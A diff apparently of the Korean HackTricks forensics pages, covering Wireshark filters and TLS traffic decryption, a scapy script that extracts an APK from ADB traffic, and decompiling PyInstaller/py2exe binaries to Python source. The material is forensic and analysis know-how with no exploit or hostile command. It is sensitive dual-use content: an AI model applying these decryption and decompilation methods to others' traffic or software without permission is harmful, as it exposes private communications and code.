다음 링크는 **Wifi 네트워크 내에서 데이터를 보내는 기기들을 찾는 데 유용**할 것입니다:
|
||||
|
||||
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
이미 알고 있는 **MAC 주소를 알고 있다면 출력에서 제외**하기 위해 다음과 같은 체크를 추가할 수 있습니다: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
네트워크 내에서 통신하는 **알 수 없는 MAC 주소를 감지한 후**, 다음과 같은 필터를 사용하여 해당 트래픽을 필터링할 수 있습니다: `wlan.addr==<MAC 주소> && (ftp || http || ssh || telnet)`. 트래픽을 해독한 경우 ftp/http/ssh/telnet 필터는 유용합니다.
|
||||
|
||||
# 트래픽 해독
|
||||
|
||||
편집 --> 환경 설정 --> 프로토콜 --> IEEE 802.11 --> 편집
|
||||
|
||||
![](<../../../.gitbook/assets/image (426).png>)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,181 @@
|
|||
# Wireshark 트릭
|
||||
|
||||
## Wireshark 트릭
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## Wireshark 기술 향상
|
||||
|
||||
### 튜토리얼
|
||||
|
||||
다음 튜토리얼은 멋진 기본 트릭을 배우는 데 도움이 됩니다:
|
||||
|
||||
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
|
||||
|
||||
### 분석된 정보
|
||||
|
||||
**전문가 정보**
|
||||
|
||||
_**Analyze** --> **Expert Information**_을 클릭하면 분석된 패킷에 대한 **개요**를 얻을 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (570).png>)
|
||||
|
||||
**해결된 주소**
|
||||
|
||||
_**Statistics --> Resolved Addresses**_에서 포트/전송 프로토콜에서 프로토콜, MAC에서 제조업체 등과 같이 wireshark에 의해 "**해결된**" 여러 **정보**를 찾을 수 있습니다. 통신에 관련된 내용을 알아두는 것이 흥미로울 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (571).png>)
|
||||
|
||||
**프로토콜 계층 구조**
|
||||
|
||||
_**Statistics --> Protocol Hierarchy**_에서 통신에 관련된 **프로토콜**과 관련된 데이터를 찾을 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (572).png>)
|
||||
|
||||
**대화**
|
||||
|
||||
_**Statistics --> Conversations**_에서 통신에 대한 **대화 요약**과 관련된 데이터를 찾을 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (573).png>)
|
||||
|
||||
**엔드포인트**
|
||||
|
||||
_**Statistics --> Endpoints**_에서 통신에 대한 **엔드포인트 요약**과 관련된 데이터를 찾을 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (575).png>)
|
||||
|
||||
**DNS 정보**
|
||||
|
||||
_**Statistics --> DNS**_에서 캡처된 DNS 요청에 대한 통계를 찾을 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (577).png>)
|
||||
|
||||
**I/O 그래프**
|
||||
|
||||
_**Statistics --> I/O Graph**_에서 통신의 **그래프**를 찾을 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (574).png>)
|
||||
|
||||
### 필터
|
||||
|
||||
다음은 프로토콜에 따른 wireshark 필터를 찾을 수 있는 곳입니다: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
다른 흥미로운 필터:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
* HTTP 및 초기 HTTPS 트래픽
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||
* HTTP 및 초기 HTTPS 트래픽 + TCP SYN
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
|
||||
* HTTP 및 초기 HTTPS 트래픽 + TCP SYN + DNS 요청
|
||||
|
||||
### 검색
|
||||
|
||||
세션의 패킷 내용을 **검색**하려면 _CTRL+f_를 누르세요. 오른쪽 버튼을 누르고 편집 열을 눌러 주요 정보 막대에 새로운 레이어를 추가할 수 있습니다 (No., Time, Source 등).
|
||||
|
||||
### 무료 pcap 랩
|
||||
|
||||
**[https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**의 무료 도전 과제로 연습하세요.
|
||||
|
||||
## 도메인 식별
|
||||
|
||||
Host HTTP 헤더를 표시하는 열을 추가할 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (403).png>)
|
||||
|
||||
그리고 시작하는 HTTPS 연결에서 서버 이름을 추가하는 열을 추가할 수 있습니다 (**ssl.handshake.type == 1**):
|
||||
|
||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||
|
||||
## 로컬 호스트 이름 식별
|
||||
|
||||
### DHCP에서
|
||||
|
||||
현재 Wireshark에서는 `bootp` 대신 `DHCP`를 검색해야 합니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (404).png>)
|
||||
|
||||
### NBNS에서
|
||||
|
||||
![](<../../../.gitbook/assets/image (405).png>)
|
||||
|
||||
## TLS 해독
|
||||
|
||||
### 서버 개인 키로 https 트래픽 해독
|
||||
|
||||
_edit>preference>protocol>ssl>_
|
||||
|
||||
![](<../../../.gitbook/assets/image (98).png>)
|
||||
|
||||
_Edit_를 누르고 서버와 개인 키의 모든 데이터 (_IP, Port, Protocol, Key file and password_)를 추가하세요.
|
||||
|
||||
### 대칭 세션 키로 https 트래픽 해독
|
||||
|
||||
Firefox와 Chrome은 TLS 세션 키를 기록하는 기능을 갖추고 있으며, 이를 Wireshark와 함께 사용하여 TLS 트래픽을 해독할 수 있습니다. 이를 통해 안전한 통신의 깊은 분석이 가능합니다. 이 해독을 수행하는 방법에 대한 자세한 내용은 [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)의 가이드에서 찾을 수 있습니다.
|
||||
|
||||
이를 감지하려면 환경에서 `SSLKEYLOGFILE` 변수를 검색하세요.
|
||||
|
||||
공유 키 파일은 다음과 같이 보일 것입니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (99).png>)
|
||||
|
||||
Wireshark에서 이를 가져오려면 \_edit > preference > protocol > ssl >로 이동하여 (Pre)-Master-Secret log filename에 가져옵니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (100).png>)
|
||||
|
||||
## ADB 통신
|
||||
|
||||
APK가 전송된 ADB 통신에서 APK를 추출하세요.
|
||||
```python
|
||||
from scapy.all import *
|
||||
|
||||
pcap = rdpcap("final2.pcapng")
|
||||
|
||||
def rm_data(data):
|
||||
splitted = data.split(b"DATA")
|
||||
if len(splitted) == 1:
|
||||
return data
|
||||
else:
|
||||
return splitted[0]+splitted[1][4:]
|
||||
|
||||
all_bytes = b""
|
||||
for pkt in pcap:
|
||||
if Raw in pkt:
|
||||
a = pkt[Raw]
|
||||
if b"WRTE" == bytes(a)[:4]:
|
||||
all_bytes += rm_data(bytes(a)[24:])
|
||||
else:
|
||||
all_bytes += rm_data(bytes(a))
|
||||
print(all_bytes)
|
||||
|
||||
f = open('all_bytes.data', 'w+b')
|
||||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,236 @@
|
|||
# 컴파일된 파이썬 이진 파일 (exe, elf)의 디컴파일 - .pyc에서 검색
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅이 되는 AWS 해킹 배우기**</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 **최대 $100,000**의 바운티를 벌어보세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## 컴파일된 이진 파일에서 .pyc로
|
||||
|
||||
**ELF**로 컴파일된 이진 파일에서는 다음을 사용하여 **.pyc를 얻을 수 있습니다**:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
[(0, 230, 311, 1, 'm', 'struct'),
|
||||
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||
...
|
||||
|
||||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
**파이썬 exe 이진 파일**에서는 다음을 실행하여 **.pyc 파일을 얻을 수 있습니다:**
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## .pyc에서 python 코드로
|
||||
|
||||
**.pyc** 데이터("컴파일된" 파이썬)에서는 **원본** **파이썬** **코드**를 **추출**하기 시작해야합니다:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**확실하게** 이진 파일이 "**.pyc**" **확장자**를 가지고 있는지 확인하십시오 (그렇지 않으면, uncompyle6가 작동하지 않을 것입니다)
|
||||
|
||||
**uncompyle6**를 실행하는 동안 다음과 같은 **오류**를 발견할 수 있습니다:
|
||||
|
||||
### 오류: 알 수 없는 매직 넘버 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
**이를 해결하려면 생성된 파일의 시작 부분에 올바른 매직 넘버를 추가해야합니다.**
|
||||
|
||||
**매직 넘버는 파이썬 버전에 따라 다릅니다.** **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야합니다:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
**마법 숫자**는 이 경우 파이썬 3.8의 **`0x550d0d0a`**입니다. 그런 다음, 이 오류를 수정하려면 **.pyc 파일**의 **처음**에 다음 바이트를 **추가**해야 합니다: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**마법 헤더**를 추가한 후에는 **오류가 수정**될 것입니다.
|
||||
|
||||
다음은 올바르게 추가된 **.pyc python3.8 마법 헤더**의 모습입니다:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
|
||||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### 오류: 일반 오류의 디컴파일
|
||||
|
||||
`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>`와 같은 **다른 오류**가 발생할 수 있습니다.
|
||||
|
||||
이는 아마도 **매직 넘버를 올바르게 추가하지 않았거나 올바른 매직 넘버를 사용하지 않았다는 것**을 의미합니다. 따라서 **올바른 것을 사용했는지 확인**하십시오 (또는 새로운 것을 시도하십시오).
|
||||
|
||||
이전 오류 문서를 확인하십시오.
|
||||
|
||||
## 자동 도구
|
||||
|
||||
[**python-exe-unpacker 도구**](https://github.com/countercept/python-exe-unpacker)는 py2exe 및 pyinstaller로 작성된 실행 파일을 언패킹하고 디컴파일하는 데 도움이 되도록 설계된 여러 커뮤니티에서 제공하는 도구의 조합으로 작동합니다. 이는 실행 파일이 Python 기반인지 식별하기 위한 YARA 규칙을 포함하고 생성 도구를 확인합니다.
|
||||
|
||||
### ImportError: 파일 이름: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc'이(가) 존재하지 않음
|
||||
|
||||
일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor를 사용하여 언패킹 프로세스 중에 발생하는 불완전한 Python 바이트 코드 파일**로 인해, 이후 **uncompyle6에서 Python 바이트 코드 버전 번호가 누락되어 인식되지 않는** 것입니다. 이를 해결하기 위해 필요한 Python 바이트 코드 버전 번호를 추가하는 prepend 옵션이 추가되었으며, 이는 디컴파일 프로세스를 용이하게 합니다.
|
||||
|
||||
문제의 예시:
|
||||
```python
|
||||
# Error when attempting to decompile without the prepend option
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||
```
|
||||
|
||||
```python
|
||||
# Successful decompilation after using the prepend option
|
||||
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||
[*] On Python 2.7
|
||||
[+] Magic bytes are already appended.
|
||||
|
||||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## Python 어셈블리 분석
|
||||
|
||||
이전 단계를 따라서 파이썬 "원본" 코드를 추출할 수 없었다면 어셈블리를 추출해 볼 수 있습니다(하지만 그렇게 구체적이지 않으므로 다시 원본 코드를 추출해 보세요). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 분해하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). 만약 _.pyc_가 python2에서 생성된 것이라면, python2를 사용하세요:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
>>> import struct
|
||||
>>> import imp
|
||||
>>>
|
||||
>>> with open('hello.pyc', 'r') as f: # Read the binary file
|
||||
... magic = f.read(4)
|
||||
... timestamp = f.read(4)
|
||||
... code = f.read()
|
||||
...
|
||||
>>>
|
||||
>>> # Unpack the structured content and un-marshal the code
|
||||
>>> magic = struct.unpack('<H', magic[:2])
|
||||
>>> timestamp = struct.unpack('<I', timestamp)
|
||||
>>> code = marshal.loads(code)
|
||||
>>> magic, timestamp, code
|
||||
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
|
||||
>>>
|
||||
>>> # Verify if the magic number corresponds with the current python version
|
||||
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
|
||||
True
|
||||
>>>
|
||||
>>> # Disassemble the code object
|
||||
>>> dis.disassemble(code)
|
||||
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||
3 MAKE_FUNCTION 0
|
||||
6 STORE_NAME 0 (hello_world)
|
||||
9 LOAD_CONST 1 (None)
|
||||
12 RETURN_VALUE
|
||||
>>>
|
||||
>>> # Also disassemble that const being loaded (our function)
|
||||
>>> dis.disassemble(code.co_consts[0])
|
||||
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||
3 LOAD_ATTR 0 (format)
|
||||
6 LOAD_FAST 0 (name)
|
||||
9 CALL_FUNCTION 1
|
||||
12 PRINT_ITEM
|
||||
13 PRINT_NEWLINE
|
||||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## 파이썬을 실행 파일로 변환하기
|
||||
|
||||
먼저, 페이로드가 py2exe 및 PyInstaller에서 컴파일될 수 있는 방법을 보여드리겠습니다.
|
||||
|
||||
### py2exe를 사용하여 페이로드 생성하기:
|
||||
|
||||
1. [http://www.py2exe.org/](http://www.py2exe.org)에서 py2exe 패키지를 설치합니다.
|
||||
2. 페이로드를 생성하기 위해 (이 경우 hello.py로 이름을 지정할 것입니다), Figure 1에 있는 스크립트와 같은 스크립트를 사용합니다. 값이 1인 "bundle\_files" 옵션은 Python 인터프리터를 포함한 모든 것을 하나의 exe로 번들링합니다.
|
||||
3. 스크립트가 준비되면 "python setup.py py2exe" 명령을 실행합니다. 이렇게 하면 Figure 2와 같이 실행 파일이 생성됩니다.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
||||
sys.argv.append('py2exe')
|
||||
|
||||
setup(
|
||||
options = {'py2exe': {'bundle_files': 1}},
|
||||
#windows = [{'script': "hello.py"}],
|
||||
console = [{'script': "hello.py"}],
|
||||
zipfile = None,
|
||||
)
|
||||
```
|
||||
|
||||
```bash
|
||||
C:\Users\test\Desktop\test>python setup.py py2exe
|
||||
running py2exe
|
||||
*** searching for required modules ***
|
||||
*** parsing results ***
|
||||
*** finding dlls needed ***
|
||||
*** create binaries ***
|
||||
*** byte compile python files ***
|
||||
*** copy extensions ***
|
||||
*** copy dlls ***
|
||||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### PyInstaller를 사용하여 페이로드를 생성하는 방법:
|
||||
|
||||
1. pip를 사용하여 PyInstaller를 설치합니다 (pip install pyinstaller).
|
||||
2. 그 후에는 "pyinstaller --onefile hello.py" 명령을 실행합니다 ('hello.py'가 페이로드임을 상기해 주세요). 이 명령은 모든 것을 하나의 실행 파일로 번들링합니다.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
108 INFO: Python: 2.7.14
|
||||
108 INFO: Platform: Windows-10-10.0.16299
|
||||
………………………………
|
||||
5967 INFO: checking EXE
|
||||
5967 INFO: Building EXE because out00-EXE.toc is non existent
|
||||
5982 INFO: Building EXE from out00-EXE.toc
|
||||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
## 참고 자료
|
||||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,52 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
여기에서 특정 파일 유형 및/또는 소프트웨어에 대한 흥미로운 트릭을 찾을 수 있습니다:
|
||||
|
||||
{% page-ref page=".pyc.md" %}
|
||||
|
||||
{% page-ref page="browser-artifacts.md" %}
|
||||
|
||||
{% page-ref page="desofuscation-vbs-cscript.exe.md" %}
|
||||
|
||||
{% page-ref page="local-cloud-storage.md" %}
|
||||
|
||||
{% page-ref page="office-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="pdf-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="png-tricks.md" %}
|
||||
|
||||
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="zips-tricks.md" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,204 @@
|
|||
# 브라우저 아티팩트
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
